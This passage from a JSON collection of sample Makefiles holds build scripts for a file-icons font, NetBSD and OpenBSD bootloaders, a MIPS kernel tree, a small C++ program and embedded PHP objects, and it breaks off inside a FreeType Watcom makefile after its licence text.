    "content": "charmap     := charmap.md\nfont-name   := file-icons\nfont-folder := dist\nfont-config := icomoon.json\nicon-size   := 34\nicon-folder := svg\nrepo-name   := Alhadis/FileIcons\nsvg         := $(wildcard $(icon-folder)/*.svg)\nlast-commit  = $(shell git log -1 --oneline --no-abbrev | cut -d' ' -f1)\n\n\nall: unpack $(font-folder)/$(font-name).woff2 charmap\n\n\n# Aliases\nunpack:  $(font-folder)/$(font-name).ttf\ncharmap: $(charmap)\n\n\n# Extract a downloaded IcoMoon folder\n$(font-folder)/%.ttf: %.zip\n\t@rm -rf $(font-folder) tmp $(font-config)\n\t@unzip -qd tmp $^\n\t@mv tmp/fonts $(font-folder)\n\t@mv tmp/selection.json $(font-config)\n\t@rm -rf tmp $^\n\t@perl -pi -e 's|^( {2})+|\"\\t\" x (length($$&)/2)|ge' $(font-config)\n\t@echo \"\" >> $(font-config) # Ensure trailing newline\n\t@echo \"Files extracted.\"\n\n\n# Generate a WOFF2 file from a TTF\n%.woff2: %.ttf\n\t@[ ! -f $@ ] && { \\\n\t\thash woff2_compress 2>/dev/null || { \\\n\t\t\techo >&2 \"WOFF2 conversion tools not found. Consult the readme file.\"; \\\n\t\t\texit 2; \\\n\t\t}; \\\n\t\twoff2_compress $^ >/dev/null; \\\n\t\techo \"WOFF2 file generated.\"; \\\n\t};\n\t\n\n\n# Clean up SVG source\nlint: $(svg)\n\t@perl -0777 -pi -e '\\\n\t\ts/\\r\\n/\\n/g; \\\n\t\ts/<g id=\"icomoon-ignore\">\\s*<\\/g>//gmi; \\\n\t\ts/<g\\s*>\\s*<\\/g>//gmi; \\\n\t\ts/\\s+(id|viewBox|xml:space)=\"[^\"]*\"/ /gmi; \\\n\t\ts/<!DOCTYPE[^>]*>//gi; \\\n\t\ts/<\\?xml.*?\\?>//gi; \\\n\t\ts/<!--.*?-->//gm; \\\n\t\ts/ style=\"enable-background:.*?;\"//gmi; \\\n\t\ts/\"\\s+>/\">/g; \\\n\t\ts/\\x20{2,}/ /g; \\\n\t\ts/[\\t\\n]+//gm;' $^\n\n\n\n# Generate/update character map\n$(charmap):\n\t@./create-map.pl -r=$(repo-name) -i=$(icon-folder) --size=$(icon-size) $(font-folder)/$(font-name).svg $@\n\n\n\n\n# POSIX systems only: reattach hard links to File-Icons package\nrelink:\n\t@$(call need-var,ATOM_FILE_ICONS,ERROR_NO_PKG)\n\t@ln -f $(font-folder)/$(font-name).woff2 $(wildcard $(ATOM_FILE_ICONS)/fonts/file-icons-*.woff2)\n\n\n\n# Force an icon's preview to be refreshed on GitHub\ncachebust:\n\t@$(call need-var,icon,ERROR_NO_ICON)\n\t@base=\"https://cdn.rawgit.com/Alhadis/FileIcons/\"; \\\n\tperl -pi -e 's{$$base\\K\\w+(?=/svg/$(icon:%.svg=%)\\.svg\")}{$(last-commit)}ig;' $(charmap)\n\n\n# Dummy task to improve feedback if `cachebust` is mistyped\nicon:\n\t$(call need-var,,ERROR_UNDEF_ICON)\n\n\n\n# Reset unstaged changes/additions in object directories\nclean:\n\t@git clean -fd $(font-folder)\n\t@git checkout -- $(font-folder) 2>/dev/null || true\n\n\n# Delete extracted and generated files\ndistclean:\n\t@rm -rf $(font-folder)\n\n\n.PHONY: clean distclean $(charmap) cachebust icon\n.ONESHELL:\n\n\n# Error message shown to users attempting to run `make relink` without a link\nERROR_NO_PKG := Environment variable ATOM_FILE_ICONS not found. \\\n\t| \\\n\t| Try this instead:\\\n\t| \\\n\t| \\\tmake relink ATOM_FILE_ICONS=/path/to/your/file-icons/installation | \n\n\n# Error message shown when running `make cachebust` without an icon\nERROR_NO_ICON := No icon specified. Task aborted.| \\\n\t| Usage: \\\n\t| \\\tmake icon=file[.svg] cachebust \\\n\t| \\\n\t| Examples: \\\n\t| \\\tmake icon=Manpage cachebust \\\n\t| \\\tmake icon=APL.svg cachebust | \n\n\n# Shown if user tries running `make icon NAME cachebust` by mistake\nERROR_UNDEF_ICON := No task named \\\"icon\\\". \\\n\t| \\\n\t| Did you mean this? \\\n\t| \\\tmake icon=NAME cachebust | \n\t\n\n\n# If the given value is empty, die with an error message\nneed = @$(if $(1),,echo $(subst | ,$$'\\n',$(2)); exit 2)\n\n# Like `need`, but uses variable names instead of string values\nneed-var = @$(call need,$($(1)),$($(2)))\n"
  },
  {
    "path": "samples/Makefile/filenames/BSDmakefile",
    "content": "# pmake might add -J (private)\nFLAGS=${.MAKEFLAGS:C/\\-J ([0-9]+,?)+//W}\n\nall: .DEFAULT\n.DEFAULT:\n\t@which gmake > /dev/null 2>&1 ||\\\n\t\t(echo \"GMake is required for node.js to build.\\\n\t\t\tInstall and try again\" && exit 1)\n\t@gmake ${.FLAGS} ${.TARGETS}\n\n.PHONY: test\n"
  },
  {
    "path": "samples/Makefile/filenames/Kbuild",
    "content": "# Fail on warnings - also for files referenced in subdirs\n# -Werror can be disabled for specific files using:\n# CFLAGS_<file.o> := -Wno-error\nsubdir-ccflags-y := -Werror\n\n# platform specific definitions\ninclude arch/mips/Kbuild.platforms\nobj-y := $(platform-y)\n\n# make clean traverses $(obj-) without having included .config, so\n# everything ends up here\nobj- := $(platform-)\n\n# mips object files\n# The object files are linked as core-y files would be linked\n\nobj-y += kernel/\nobj-y += mm/\nobj-y += net/\n\nifdef CONFIG_KVM\nobj-y += kvm/\nendif\n"
  },
  {
    "path": "samples/Makefile/filenames/Makefile",
    "content": "all: hello\n\nhello: main.o factorial.o hello.o\n\tg++ main.o factorial.o hello.o -o hello\n\nmain.o: main.cpp\n\tg++ -c main.cpp\n\nfactorial.o: factorial.cpp\n\tg++ -c factorial.cpp\n\nhello.o: hello.cpp\n\tg++ -c hello.cpp\n\nclean:\n\trm -rf *o hello\n"
  },
  {
    "path": "samples/Makefile/filenames/Makefile.boot",
    "content": "# $NetBSD$\n\nS=\t${.CURDIR}/../../../../..\n\nNOMAN=\nPROG?= boot\nNEWVERSWHAT?= \"BIOS Boot\"\nVERSIONFILE?= ${.CURDIR}/../version\n\nAFLAGS.biosboot.S= ${${ACTIVE_CC} == \"clang\":?-no-integrated-as:}\n\nSOURCES?= biosboot.S boot2.c conf.c devopen.c exec.c\nSRCS= ${SOURCES}\n.if !make(depend)\nSRCS+= vers.c\n.endif\n\nPIE_CFLAGS=\nPIE_AFLAGS=\nPIE_LDFLAGS=\n\n.include <bsd.own.mk>\n\nSTRIPFLAG=\t# nothing\n\nLIBCRT0=\t# nothing\nLIBCRTI=\t# nothing\nLIBCRTBEGIN=\t# nothing\nLIBCRTEND=\t# nothing\nLIBC=\t\t# nothing\n\nBINDIR=/usr/mdec\nBINMODE=444\n\n.PATH:\t${.CURDIR}/.. ${.CURDIR}/../../lib\n\nLDFLAGS+= -nostdlib -Wl,-N -Wl,-e,boot_start\nCPPFLAGS+= -I ${.CURDIR}/..  -I ${.CURDIR}/../../lib -I ${S}/lib/libsa\nCPPFLAGS+= -I ${.OBJDIR}\n# Make sure we override any optimization options specified by the user\nCOPTS=  -Os\n\n.if ${MACHINE_ARCH} == \"x86_64\"\nLDFLAGS+=  -Wl,-m,elf_i386\nAFLAGS+=   -m32\nCPUFLAGS=  -m32\nLIBKERN_ARCH=i386\nKERNMISCMAKEFLAGS=\"LIBKERN_ARCH=i386\"\n.else\nCPUFLAGS=  -march=i386 -mtune=i386\n.endif\n\nCFLAGS+=   -mno-sse -mno-sse2 -mno-sse3\n\nCOPTS+=    -ffreestanding\nCFLAGS+= -Wall -Wmissing-prototypes -Wstrict-prototypes\nCPPFLAGS+= -nostdinc -D_STANDALONE\nCPPFLAGS+= -I$S\n\nCPPFLAGS+= -DSUPPORT_PS2\nCPPFLAGS+= -DDIRECT_SERIAL\nCPPFLAGS+= -DSUPPORT_SERIAL=boot_params.bp_consdev\n\nCPPFLAGS+= -DCONSPEED=boot_params.bp_conspeed\nCPPFLAGS+= -DCONSADDR=boot_params.bp_consaddr\nCPPFLAGS+= -DCONSOLE_KEYMAP=boot_params.bp_keymap\n\nCPPFLAGS+= -DSUPPORT_CD9660\nCPPFLAGS+= -DSUPPORT_USTARFS\nCPPFLAGS+= -DSUPPORT_DOSFS\nCPPFLAGS+= -DSUPPORT_EXT2FS\n#CPPFLAGS+= -DSUPPORT_MINIXFS3\nCPPFLAGS+= -DPASS_BIOSGEOM\nCPPFLAGS+= -DPASS_MEMMAP\n#CPPFLAGS+= -DBOOTPASSWD\nCPPFLAGS+= -DEPIA_HACK\n#CPPFLAGS+= -DDEBUG_MEMSIZE\n#CPPFLAGS+= -DBOOT_MSG_COM0\nCPPFLAGS+= -DLIBSA_ENABLE_LS_OP\n\n# The biosboot code is linked to 'virtual' address of zero and is\n# loaded at physical address 0x10000.\n# XXX The heap values should be determined from _end.\nSAMISCCPPFLAGS+= -DHEAP_START=0x40000 -DHEAP_LIMIT=0x70000\nSAMISCCPPFLAGS+= -DLIBSA_PRINTF_LONGLONG_SUPPORT\nSAMISCMAKEFLAGS+= SA_USE_CREAD=yes\t# Read compressed kernels\nSAMISCMAKEFLAGS+= SA_INCLUDE_NET=no\t# Netboot via TFTP, NFS\n\nCPPFLAGS+=\t-Wno-pointer-sign\n\n# CPPFLAGS+= -DBOOTXX_RAID1_SUPPORT\n\nI386_STAND_DIR?= $S/arch/i386/stand\n\n### find out what to use for libi386\nI386DIR= ${I386_STAND_DIR}/lib\n.include \"${I386DIR}/Makefile.inc\"\nLIBI386= ${I386LIB}\n\n### find out what to use for libsa\nSA_AS= library\nSAMISCMAKEFLAGS+=\"SA_USE_LOADFILE=yes\"\nSAMISCMAKEFLAGS+=\"SA_ENABLE_LS_OP=yes\"\n.include \"${S}/lib/libsa/Makefile.inc\"\nLIBSA= ${SALIB}\n\n### find out what to use for libkern\nKERN_AS= library\n.include \"${S}/lib/libkern/Makefile.inc\"\nLIBKERN= ${KERNLIB}\n\n### find out what to use for libz\nZ_AS= library\n.include \"${S}/lib/libz/Makefile.inc\"\nLIBZ= ${ZLIB}\n\nLDSCRIPT ?= $S/arch/i386/conf/stand.ldscript\n\ncleandir distclean: .WAIT cleanlibdir\n\ncleanlibdir:\n\t-rm -rf lib\n\nLIBLIST= ${LIBI386} ${LIBSA} ${LIBZ} ${LIBKERN} ${LIBI386} ${LIBSA}\n# LIBLIST= ${LIBSA} ${LIBKERN} ${LIBI386} ${LIBSA} ${LIBZ} ${LIBKERN}\n\nCLEANFILES+= ${PROG}.tmp ${PROG}.map ${PROG}.sym vers.c\n\nvers.c: ${VERSIONFILE} ${SOURCES} ${LIBLIST} ${.CURDIR}/../Makefile.boot\n\t${HOST_SH} ${S}/conf/newvers_stand.sh ${VERSIONFILE} x86 ${NEWVERSWHAT}\n\n# Anything that calls 'real_to_prot' must have a %pc < 0x10000.\n# We link the program, find the callers (all in libi386), then\n# explicitly pull in the required objects before any other library code.\n${PROG}: ${OBJS} ${LIBLIST} ${.CURDIR}/../Makefile.boot\n\t${_MKTARGET_LINK}\n\tbb=\"$$( ${CC} -o ${PROG}.sym ${LDFLAGS} -Wl,-Ttext,0 -Wl,-cref \\\n\t    ${OBJS} ${LIBLIST} | ( \\\n\t\twhile read symbol file; do \\\n\t\t\t[ -z \"$$file\" ] && continue; \\\n\t\t\t[ \"$$symbol\" = real_to_prot ] && break; \\\n\t\tdone; \\\n\t\twhile \\\n\t\t\toifs=\"$$IFS\"; \\\n\t\t\tIFS='()'; \\\n\t\t\tset -- $$file; \\\n\t\t\tIFS=\"$$oifs\"; \\\n\t\t\t[ -n \"$$2\" ] && echo \"${I386DST}/$$2\"; \\\n\t\t\tread file rest && [ -z \"$$rest\" ]; \\\n\t\tdo :; \\\n\t\tdone; \\\n\t) )\"; \\\n\t${CC} -o ${PROG}.sym ${LDFLAGS} -Wl,-Ttext,0 -T ${LDSCRIPT} \\\n\t\t-Wl,-Map,${PROG}.map -Wl,-cref ${OBJS} $$bb ${LIBLIST}\n\t${OBJCOPY} -O binary ${PROG}.sym ${PROG}\n\n.include <bsd.prog.mk>\nKLINK_MACHINE=\ti386\n.include <bsd.klinks.mk>\n"
  },
  {
    "path": "samples/Makefile/filenames/Makefile.frag",
    "content": "all: link-php-objects index-php-objects $(all_targets)\n\t@echo\n\t@echo \"Build complete.\"\n\t@echo \"Don't forget to run 'make test'.\"\n\t@echo\n\ngenerate-php-objects:\n\t@echo \"Generating PHP objects in $(PHP_DIR)\"\n\t@for f in `ls $(PHP_DIR)/*.php`; do \\\n\t\tobjcopy --input binary --output elf64-x86-64 --binary-architecture i386 $$f $$f.o; \\\n\tdone;\n\nlink-php-objects: generate-php-objects\n\t@echo \"Linking PHP objects in $(PHP_DIR)\"\n\t@for f in `ls $(PHP_DIR)/*.php`; do \\\n\t\tar rcs $(PHP_DIR)/lib$(PHP_LIB).a $$f.o; \\\n\tdone;\n\nindex-php-objects: link-php-objects\n\t@echo \"Indexing PHP objects in $(PHP_DIR)\"\n\t@echo \"#ifndef HAVE_PHP_$(PHP_LIB)_H\" \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"#define HAVE_PHP_$(PHP_LIB)_H\" \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"/* I AM GENERATED | DO NOT EDIT | I AM GENERATED */\"\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@for f in `ls $(PHP_DIR)/*.php`; do \\\n\t\tname=`echo $$f | sed 's/[^a-z]/_/g'`; \\\n\t\techo \"extern char _binary_\"$$name\"_start;\" \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h; \\\n\t\techo \"static inline char* php_index_$(PHP_LIB)_\"$$name\"() {\" \t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h; \\\n\t\techo \"\treturn (char*) &_binary_\"$$name\"_start;\"\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h; \\\n\t\techo \"}\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h; \\\n\t\techo \"extern char _binary_\"$$name\"_end;\" \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h; \\\n\t\techo \"static inline char* php_index_$(PHP_LIB)_\"$$name\"_end() {\" \t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h; \\\n\t\techo \"\treturn (char*) &_binary_\"$$name\"_end;\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h; \\\n\t\techo \"}\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h; \\\n\t\techo \"static inline size_t php_index_$(PHP_LIB)_\"$$name\"_size() {\" \t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h; \\\n\t\techo \"\treturn (size_t) (php_index_$(PHP_LIB)_\"$$name\"_end() - php_index_$(PHP_LIB)_\"$$name\"());\"\t>> $(PHP_DIR)/$(PHP_LIB).h; \\\n\t\techo \"}\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h; \\\n\tdone;\n\t@echo \"static inline php_$(PHP_LIB)_init(HashTable *index, HashTable *includes) {\"\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\tzval val;\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\tzend_hash_init(index, 8, NULL, ZVAL_PTR_DTOR, 0);\"\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\tzend_hash_init(includes, 8, NULL, NULL, 0);\"\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@for f in `ls $(PHP_DIR)/*.php`; do \\\n\t\tname=`echo $$f | sed 's/[^a-z]/_/g'`; \\\n\t\techo \"\tZVAL_NEW_STR(&val, zend_string_init(\\\n\t\t\t\t\tphp_index_$(PHP_LIB)_\"$$name\"(), \\\n\t\t\t\t\t\tphp_index_$(PHP_LIB)_\"$$name\"_size(), 0));\"\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h; \\\n\t\techo \"\tzend_hash_str_add(index, \\\"\"$$f\"\\\", sizeof(\\\"\"$$f\"\\\")-1, &val);\"\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h; \\\n\tdone;\n\t@echo \"}\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"static inline void php_$(PHP_LIB)_include(HashTable *index, HashTable *includes, \\\n\t\t\t\t\tchar *path, size_t len, zval *retval) {\"\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\tzend_string *key = zend_string_init(path, len, 0);\"\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\tzval *code = zend_hash_find(index, key);\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\tif (code && !zend_hash_exists(includes, key)) {\"\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\t\tzend_string *prepared = zend_string_alloc(Z_STRLEN_P(code) + (sizeof(\\\";\\\")-1), 0);\"\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\t\tmemcpy(&ZSTR_VAL(prepared)[0], \\\";\\\", sizeof(\\\";\\\")-1);\"\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\t\tif (Z_STRLEN_P(code) > (sizeof(\\\"<?php\\\") -1) && \"\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\t\t\tmemcmp(Z_STRVAL_P(code), \\\"<?php\\\", sizeof(\\\"<?php\\\")-1) == SUCCESS) {\"\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\t\t\t\tmemcpy(&ZSTR_VAL(prepared)[1], &Z_STRVAL_P(code)[5], \\\n\t\t\t\t\t\t\tZ_STRLEN_P(code) - (sizeof(\\\"<?php\\\") - 1));\"\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\t\t\t\tZSTR_LEN(prepared) -= (sizeof(\\\"<?php\\\") - 1);\"\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\t\t\t\tZSTR_VAL(prepared)[ZSTR_LEN(prepared)] = 0;\"\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\t\t} else {\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\t\t\tmemcpy(&ZSTR_VAL(prepared)[1], Z_STRVAL_P(code), Z_STRLEN_P(code));\"\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\t\t}\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\t\tzend_eval_stringl(ZSTR_VAL(prepared), ZSTR_LEN(prepared), retval, path);\"\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\t\tzend_hash_add_empty_element(includes, key);\"\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\t\tzend_string_release(prepared);\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\t}\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\tzend_string_release(key);\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"}\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"static inline void php_$(PHP_LIB)_shutdown(HashTable *index, HashTable *includes) {\"\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\tzend_hash_destroy(index);\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"\tzend_hash_destroy(includes);\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"}\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n\t@echo \"#endif\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t>> $(PHP_DIR)/$(PHP_LIB).h\n"
  },
  {
    "path": "samples/Makefile/filenames/Makefile.inc",
    "content": "#\t$OpenBSD: Makefile.inc,v 1.2 2003/11/14 20:09:20 drahn Exp $\n#\t$NetBSD: Makefile.inc,v 1.1 1996/09/30 16:34:59 ws Exp $\n\n.if !defined(__stand_makefile_inc)\n__stand_makefile_inc=1\n\nKERN_AS=\tlibrary\n\nS=$(.CURDIR)/../../../$(R)\n\n.if !make(libdep) && !make(sadep) && !make(salibdir) && !make(kernlibdir) && !make(obj) && !defined(NOMACHINE)\n.BEGIN:\n\t@([ -h machine ] || ln -s $(S)/arch/$(MACHINE)/include machine)\n.endif\n\n#\nEXTRACFLAGS=\t-msoft-float\nREAL_VIRT?=\t-v\nENTRY?=\t_start\n\nINCLUDES+=\t-I. -I$(.OBJDIR) -I$(.CURDIR)/.. -I$(S)/arch -I$(S)\nINCLUDES+=\t-I$(S)/lib/libsa\nDEFS+=\t\t-DSTANDALONE\nCFLAGS+=\t$(INCLUDES) $(DEFS) $(EXTRACFLAGS)\nCFLAGS+=\t-fno-stack-protector\nLDFLAGS?=\t-X -N -Ttext $(RELOC) -e $(ENTRY)\n\ncleandir:\n\trm -rf lib machine\n\n.endif\n"
  },
  {
    "path": "samples/Makefile/filenames/Makefile.wat",
    "content": "#\n#                     The FreeType Project LICENSE\n#                     ----------------------------\n# \n#                        Copyright 1996-1999 by\n#           David Turner, Robert Wilhelm, and Werner Lemberg\n# \n# \n# \n# Introduction\n# ============\n# \n#   The FreeType  Project is distributed in  several archive packages;\n#   some of them may contain, in addition to the FreeType font engine,\n#   various tools and  contributions which rely on, or  relate to, the\n#   FreeType Project.\n# \n#   This  license applies  to all  files found  in such  packages, and\n#   which do not  fall under their own explicit  license.  The license\n#   affects  thus  the  FreeType   font  engine,  the  test  programs,\n#   documentation and makefiles, at the very least.\n# \n#   This  license   was  inspired  by  the  BSD,   Artistic,  and  IJG\n#   (Independent JPEG  Group) licenses, which  all encourage inclusion\n#   and  use of  free  software in  commercial  and freeware  products\n#   alike.  As a consequence, its main points are that:\n# \n#     o We don't promise that this software works.  However, we are be\n#       interested in any kind of bug reports. (`as is' distribution)\n# \n#     o You can  use this software for whatever you  want, in parts or\n#       full form, without having to pay us. (`royalty-free' usage)\n# \n#     o You may not pretend that  you wrote this software.  If you use\n#       it, or  only parts of it,  in a program,  you must acknowledge\n#       somewhere in your documentation  that you've used the FreeType\n#       code. (`credits')\n# \n#   We  specifically  permit  and  encourage  the  inclusion  of  this\n#   software,  with  or without modifications, in commercial products,\n#   provided that all warranty or  liability claims are assumed by the\n#   product vendor.\n# \n# \n# Legal Terms\n# ===========\n# \n# 0. Definitions\n# --------------\n# \n#   Throughout this license,  the terms `package', `FreeType Project',\n#   and  `FreeType  archive' refer  to  the  set  of files  originally\n#   distributed  by the  authors  (David Turner,  Robert Wilhelm,  and\n#   Werner Lemberg) as the `FreeType project', be they named as alpha,\n#   beta or final release.\n# \n#   `You' refers to  the licensee, or person using  the project, where\n#   `using' is a generic term including compiling the project's source\n#   code as  well as linking it  to form a  `program' or `executable'.\n#   This  program is  referred to  as  `a program  using the  FreeType\n#   engine'.\n# \n#   This  license applies  to all  files distributed  in  the original\n#   FreeType  archive,   including  all  source   code,  binaries  and\n#   documentation,  unless  otherwise  stated   in  the  file  in  its\n#   original, unmodified form as  distributed in the original archive.\n#   If you are  unsure whether or not a particular  file is covered by\n#   this license, you must contact us to verify this.\n# \n#   The FreeType  project is copyright (C) 1996-1999  by David Turner,\n#   Robert Wilhelm, and Werner Lemberg.  All rights reserved except as\n#   specified below.\n# \n# 1. No Warranty\n# --------------\n# \n#   THE FREETYPE ARCHIVE  IS PROVIDED `AS IS' WITHOUT  WARRANTY OF ANY\n#   KIND, EITHER EXPRESSED OR  IMPLIED, INCLUDING, BUT NOT LIMITED TO,\n#   WARRANTIES  OF  MERCHANTABILITY   AND  FITNESS  FOR  A  PARTICULAR\n#   PURPOSE.  IN NO EVENT WILL ANY OF THE AUTHORS OR COPYRIGHT HOLDERS\n#   BE LIABLE  FOR ANY DAMAGES CAUSED  BY THE USE OR  THE INABILITY TO\n#   USE, OF THE FREETYPE PROJECT.\n# \n#   As  you have  not signed  this license,  you are  not  required to\n#   accept  it.   However,  as  the FreeType  project  is  copyrighted\n#   material, only  this license, or  another one contracted  with the\n#   authors, grants you  the right to use, distribute,  and modify it.\n#   Therefore,  by  using,  distributing,  or modifying  the  FreeType\n#   project, you indicate that you understand and accept all the terms\n#   of this license.\n# \n# 2. Redistribution\n# -----------------\n# \n#   Redistribution and use in source and binary forms, with or without\n#   modification, are permitted provided that the following conditions\n#   are met:\n# \n#     o Redistribution  of source code  must retain this  license file\n#       (`licence.txt') unaltered; any additions, deletions or changes\n#       to   the  original   files  must   be  clearly   indicated  in\n#       accompanying  documentation.   The  copyright notices  of  the\n#       unaltered, original  files must be preserved in  all copies of\n#       source files.\n# \n#     o Redistribution in binary form must provide a  disclaimer  that\n#       states  that  the software is based in part of the work of the\n#       FreeType Team,  in  the  distribution  documentation.  We also\n#       encourage you to put an URL to the FreeType web page  in  your\n#       documentation, though this isn't mandatory.\n# \n#   These conditions  apply to any  software derived from or  based on\n#   the FreeType code, not just  the unmodified files.  If you use our\n#   work, you  must acknowledge us.  However,  no fee need  be paid to\n#   us.\n# \n# 3. Advertising\n# --------------\n# \n#   The names of  FreeType's authors and contributors may  not be used\n#   to endorse or promote  products derived from this software without\n#   specific prior written permission.\n#   \n#   We suggest,  but do not require, that  you use one or  more of the\n#   following phrases to refer  to this software in your documentation\n#   or advertising  materials: `FreeType Project',  `FreeType Engine',\n#   `FreeType library', or `FreeType Distribution'.\n# \n# 4. Contacts\n# -----------\n# \n#   There are two mailing lists related to FreeType:\n# \n#     o freetype@freetype.org\n# \n#       Discusses general use and applications of FreeType, as well as\n#       future and  wanted additions to the  library and distribution.\n#       If  you are looking  for support,  start in  this list  if you\n#       haven't found anything to help you in the documentation.\n# \n#     o devel@freetype.org\n# \n#       Discusses bugs,  as well  as engine internals,  design issues,\n#       specific licenses, porting, etc.\n# \n#     o http://www.freetype.org\n# \n#       Holds the current  FreeType web page, which will  allow you to\n#       download  our  latest  development  version  and  read  online\n#       documentation.\n# \n#   You can also contact us individually at:\n# \n#     David Turner      <david.turner@freetype.org>\n#     Robert Wilhelm    <robert.wilhelm@freetype.org>\n#     Werner Lemberg    <werner.lemberg@freetype.org>\n# \n# \n# --- end of license ---\n#\n# This file is part of the FreeType project.\n#\n# This builds the Watcom library with Watcom's wcc386 under OS/2.\n#\n# You'll need Watcom's wmake.\n#\n#\n# Invoke by \"wmake -f arch\\os2\\Makefile.wat\" when in the \"lib\" directory\n#\n# This will build \"freetype\\lib\\libttf.lib\"\n\nARCH = arch\\os2\nFT_MAKEFILE = $(ARCH)\\Makefile.wat\nFT_MAKE = wmake -h\n\n\n.EXTENSIONS:\n.EXTENSIONS: .lib .obj .c .h\n.obj:.;.\\extend;.\\$(ARCH)\n.c:.;.\\extend;.\\$(ARCH)\n.h:.;.\\extend;.\\$(ARCH)\n\nCC = wcc386\n\nCCFLAGS = /otexanl+ /s /w5 /zq -Iarch\\os2 -I. -Iextend\n\nTTFILE   = .\\ttfile.c\nTTMEMORY = .\\ttmemory.c\nTTMUTEX  = .\\ttmutex.c\n\nTTFILE_OBJ = ttfile.obj\nTTMEMORY_OBJ = ttmemory.obj\nTTMUTEX_OBJ = ttmutex.obj\n\nPORT = $(TTFILE) $(TTMEMORY) $(TTMUTEX)\nPORT_OBJS = $(TTFILE_OBJ) $(TTMEMORY_OBJ) $(TTMUTEX_OBJ)\n\nSRC_X = extend\\ftxgasp.c extend\\ftxkern.c  extend\\ftxpost.c &\n        extend\\ftxcmap.c extend\\ftxwidth.c extend\\ftxsbit.c &\n        extend\\ftxgsub.c extend\\ftxgpos.c  extend\\ftxopen.c &\n        extend\\ftxgdef.c\n\nOBJS_X = extend\\ftxgasp.obj extend\\ftxkern.obj  